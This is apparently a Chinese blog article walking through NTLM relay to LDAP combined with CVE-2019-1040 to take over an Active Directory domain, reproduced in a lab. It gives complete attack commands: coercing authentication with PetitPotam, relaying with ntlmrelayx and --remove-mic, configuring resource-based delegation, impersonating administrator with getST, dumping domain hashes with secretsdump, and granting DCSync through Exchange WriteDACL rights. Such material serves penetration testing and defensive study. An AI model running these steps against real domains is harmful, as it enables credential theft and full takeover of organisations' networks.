当前位置: 首页 > article >正文

NTLM 中继到 LDAP 结合 CVE-2019-1040 接管全域

目录

LDAP中继

LDAP签名

CVE-2019-1040 NTLM MIC 绕过漏洞

漏洞背景

漏洞利用链

利用方式 1:配置基于资源的约束委派-攻击域控

利用方式 2:攻击 Exchange

Exchange windows permissions 组介绍

复现


LDAP中继

LDAP(轻量级目录访问协议) 是域控制器用来访问和管理 Active Directory 的协议,它也支持 NTLM 身份验证。因此,攻击者可以利用 NTLM 中继将身份验证请求转发到 LDAP 服务,从而实现对 Active Directory 的修改或访问。

LDAP签名

LDAP签名的目的是通过对数据包进行完整性检查,防止中间人攻击和篡改请求。默认情况下,LDAP服务器是协商签名,而非强制签名。是否签名是由客户端决定的。客户端分情况,如果是smb协议的话,默认要求签名的,如果是webadv或者http协议,是不要求签名的。

通过打印机漏洞获取的net-ntlm 响应,发起的请求是Smb协议的请求,这也意味着我们客户端默认是要求签名的。所以我们需要进行绕过。

客户端将签名与否的决定通过ntlm认证中的一个标志位来发送给服务端,因为发起者是smb协议,默认这个标志位为1,服务端会选择进行签名。但是如果我们修改为0的话,又因为微软有一套MIC校验机制,将导致 MIC 无效并且身份验证失败。而CVE-2019-1040漏洞可绕过NTLM MIC的防护机制,以使我们修改标志位,来让服务器不进行 ldap 签名。在 ntlmrelayx.py 中通过设置选项 --remove-mic 来使用 CVE-2019-1040 绕过签名。

CVE-2019-1040 NTLM MIC 绕过漏洞

漏洞背景

2019年6月11日,微软发布6月份安全补丁更新。在该安全补丁更新中,对 CVE-2019-1040 漏洞进行了修复。该漏洞存在于Windwos 大部分版本中,当中间人攻击者能够成功绕过NTLM 消息完整性校验(MIC)时,Windows 存在可能可篡改的漏洞。成功利用此漏洞的攻击者可以获得降级 NTLM 安全功能的能力。要利用此漏洞,攻击者需要篡改NTLM 交换,然后修改NTLM 数据包的标志,而不会使签名无效。结合其他漏洞和机制,在某些场景下,攻击者可以在仅有一个普通账户域账户的情况下接管全域。

漏洞利用链

漏洞完整利用链需要结合NTLM Relay。完整的攻击链如下:

  • 使用域内任意有效账户,通过SMB连接到目标机器,使用Print Spooler 漏洞或者PetitPotam漏洞强制触发目标机器向指定的机器进行NTLM 认证;
  • 中继服务器收到目标机器的NTLM 认证流量后,通过删除相应的字段绕过NTLM 的完整性校验并修改NTLM 数据包的标志位使得其从SMB协议中继到LDAP 不需要签名;
  • 使用中继的LDAP流量,通过LDAP远程连接域控,执行高权限操作,赋予指定的账户高权限;
  • 使用提升了权限的账户进行“后利用”,接管全域。

1、触发目标NTLM请求

攻击者需要向目标机器发起NTLM请求才能进行NTLM Relay利用,这里可以利用使用Print Spooler 漏洞或者 PetitPotam 漏洞强制触发目标机器向指定的机器进行NTLM 认证

2、LDAP 签名绕过

由于通过Print Spooler 漏洞和PetitPotam漏洞触发的NTLM 认证都是基于SMB协议的,因此目标需要将SMB 协议的身份验证流量通过LDAP中继到域控。但是NTLM 认证的工作方式决定了无法直接将SMB协议流量中继到LDAP。默认情况下,客户端和域控或Exchange服务器进行SMB通行时,是强制要求签名的。

此时将SMB流量中继到LDAP时,由于Negotiate Sign 和 Negotiate Always Sign 标志为Set,该标志位触发LDAP签名。而我们又无法伪造签名,因此会被LDAP忽略,导致攻击失败。而 CVE-2019-1040 的关键就在于我们能绕过NTLM的消息完整性校验,导致可以任意修改NTLM认证的的数据包。因此当我们在绕过消息完整性校验之后,可以修改流量的标志位已协商不开启LDAP签名校验。

利用方式 1:配置基于资源的约束委派-攻击域控

攻击域控需要目标域内至少存在两台域控:一台用于通过 PetitPotam 触发NTLM身份验证请求。另一台用于接收中继请求到本地的LDAP服务。

  • 域控 win2016:192.168.10.2
  • 域控 2:192.168.10.3(为辅助域控,也可以换成其他想要被获取权限的机器)
  • kali:192.168.10.17

1. 添加机器账号

利用普通域用户在域中添加一个机器账户 test$/Aa123.com,以便稍后通过 LDAP 配置 RBCD。

python3 addcomputer.py test.lab/lucy:lucy.com -computer-name test\$ -computer-pass Aa123.com -dc-ip 192.168.10.2

2. 设置NTLM中继服务器

kali启动 ntlmrelayx.py。ntlmrelayx.py 将接收的身份验证请求中继到域控制器的 LDAP 服务(192.168.10.2),同时修改域控 2 机器账号的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性为 test$ 的 sid 值。这样,test$ 就可以代表目标机器向 Kerberos 请求服务票据,从而获取域控 2 的权限。

python3 ntlmrelayx.py -t ldap://192.168.10.2 -debug --delegate-access --escalate-user test\$ -smb2support --remove-mic

● -t ldap://192.168.10.2: 指定中继的目标为 LDAP 服务。

● --delegate-access: 用于配置基于资源的约束委派。

● --escalate-user test$: 将 RBCD 的权限设置到 test$。

● --remove-mic: 通过 CVE-2019-1040 漏洞绕过NTLM MIC的防护机制,以使我们修改标志位,来让服务器不进行ldap签名。

3. 触发 NTLM 身份验证

通过 PetitPotam 触发域控 2 向 kali 发起 NTLM 身份验证请求。(在低版本 08和12下可以匿名触发,不需要域用户。在16版本及以上,就需要指定一个普通域用户账号和密码)

Kali 服务器会将这个请求中继到指定的 LDAP 服务(192.168.10.2),并尝试执行 RBCD 配置

python3 petitpotam.py -d test.lab -u lucy -p lucy.com 192.168.10.17 192.168.10.3
#192.168.10.17 kali ip
#192.168.10.3 域控2的ip

此时在ntlmrelayx.py 中可观察到,成功修改域控 2 机器账号 DC-2$ 的 "msds-allowedtoactonbehalfofotheridentity" 值为机器账号 test$的sid值。即配置基于资源的约束委派,通过设置该属性,允许机器账户 test$ 代表域控 2 上的其他用户(如 administrator)的身份执行操作。

#后面要清除DC-2$ 的 "msds-allowedtoactonbehalfofotheridentity" 值,请在dc上执行
powershell
$TargetAccountDN = "CN=DC-2,OU=Domain Controllers,DC=test,DC=lab"
Set-ADComputer -Identity $TargetAccountDN -Clear "msds-allowedtoactonbehalfofotheridentity"
#查看是否成功清除
Get-ADComputer -Identity "DC-2" -Properties * | Select-Object msds-allowedtoactonbehalfofotheridentity

4. 申请服务票据

利用 test$ 的 RBCD 权限,向 KDC 请求代表 administrator 的服务票据(TGS)

#使用getST.py申请票据
python3 getST.py test.lab/test$:Aa123.com -spn cifs/dc-2.test.lab -impersonate administrator -dc-ip 192.168.10.2
#导入票据
export KRB5CCNAME=/root/Desktop/neiwangTools/administrator@cifs_server1.test.lab@TEST.LAB.ccache
#添加hosts
vim /etc/hosts,添加 192.168.10.3 dc-2.test.lab
#导出域内hash
python3 secretsdump.py -k -no-pass dc-2.test.lab -just-dc
#获取dc-2权限
python3 wmiexec.py -k test.lab/administrator@dc-2.test.lab -no-pass -codec gbk

通过中继到 LDAP,攻击者实现了对 RBCD 的配置修改,使低权限账户(如 test$)可以代表高权限用户(如 administrator)进行操作。

利用方式 2:攻击 Exchange

Exchange windows permissions 组介绍

Microsoft Exchange Security Groups 是一组在 Exchange 安装后默认创建的 AD 安全组,其中有两个重要的组:

  1. Exchange Windows Permissions 组:该组的用户或计算机对象对域内其他对象(如用户、组、计算机等)具有 WriteDACL 权限,这意味着它们可以修改这些对象的访问控制列表(ACL),从而赋予他们额外的权限。
  2. Exchange Trusted Subsystem 组:这个组又隶属于Exchange Windows Permission,继承了Exchange Windows Permission组的权限。所以Exchange Trusted Subsystem 组的成员也拥有 writeDACL 权限。而 Exchange Trusted Subsystem 组成员默认只有 Exchange 机器账号。

如果攻击者能够利用 Exchange Trusted Subsystem 组的成员凭据,则可以

  1. 修改其他用户(如普通用户或高权限用户)的 ACL。
  2. 为目标用户(如 lucy)添加 DCSync 权限,实现权限提升。

复现

  • win2012R2 系统中安装的Exchange2016:192.168.10.10
  • win2016 域控:192.168.10.2
  • kali:192.168.10.17

攻击流程介绍:

  1. 使用 petitpotam 触发 Exchange 机器账号向 ntlmrelayx.py 发起 NTLM 身份验证请求;
  2. ntlmrelayx.py 接收来自 Exchange 机器的 NTLM 身份验证请求,并将其中继到域控制器的 LDAP 服务(192.168.10.2)。在中继过程中,攻击者实际上借用了 Exchange 机器账号的凭据,以其身份向域控制器进行交互。
  3. 利用 Exchange 机器账号的 WriteDACL 权限:Exchange 机器账号 是 Exchange Trusted Subsystem 的成员,继承了 Exchange Windows Permissions 组的权限。该账号拥有对域内其他对象的 WriteDACL 权限。攻击者利用这个权限,通过 LDAP 修改目标用户(lucy)的 ACL,将 DCSync 权限(即 Replicating Directory Changes 和 Replicating Directory Changes All 权限)添加到 lucy 用户上。
  4. lucy 权限提升:一旦 lucy 被赋予 DCSync 权限,就能从域控导出 hash
python3 ntlmrelayx.py -t ldap://192.168.10.2 --remove-mic --escalate-user lucy -smb2support
python3 petitpotam.py -d test.lab -u lucy -p lucy.com 192.168.10.17 192.168.10.10

python3 secretsdump.py test.lab/lucy:"lucy.com"@192.168.10.2 -just-dc-ntlm

最后从域控上查看下拥有 dcsync 权限的对象,显示用户 lucy 拥有 Replicating Directory Changes 和 Replicating Directory Changes ALL 权限即 DCSync 权限。

AdFind.exe -s subtree -b "DC=test,DC=lab" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute

参考:

域控常见打法总结

奇安信攻防社区-NTLM realy


http://www.kler.cn/a/452627.html

相关文章:

  • [Python机器学习]:Anaconda3实践环境安装和使用
  • PyQt5 学习方法之悟道
  • “乡村探索者”:村旅游网站的移动应用开发
  • Mysql 查询性能调优总结
  • JZ31 栈的压入、弹出序列
  • 机器学习之PCA降维
  • Ubuntu安装教程+网页部署于服务器(前端+后端+mysql数据库)新版
  • leetcode之hot100---2两数相加(C++)
  • 网络安全等级自我评价
  • 卷积神经网络入门指南:从原理到实践
  • 国产云厂商数据库产品--思维导图
  • [1111].集成开发工具Pycharm安装与使用
  • 【EtherCATBasics】- KRTS C++示例精讲(2)
  • Docker完整技术汇总
  • 力扣48.旋转图像
  • 物联网网络中的设备认证方法
  • 论文阅读--Variational quantum algorithms
  • 矩阵链乘法【东北大学oj数据结构10-2】C++
  • GitLab的卸载与重装
  • 信息安全管理与评估赛题第10套
  • Windows 远程桌面连接Ubuntu Desktop
  • 以下matlab文件因包含语法错误而未添加
  • 2023年厦门市第30届小学生C++信息学竞赛复赛上机操作题(三、2023C. 太空旅行(travel))
  • js创建对象的方式
  • 【网络安全零基础入门】PHP环境搭建、安装Apache、安装与配置MySQL(非常详细)零基础入门到精通,收藏这一篇就够(01)_php安装配置教程
  • 前端跨域问题--解析与实战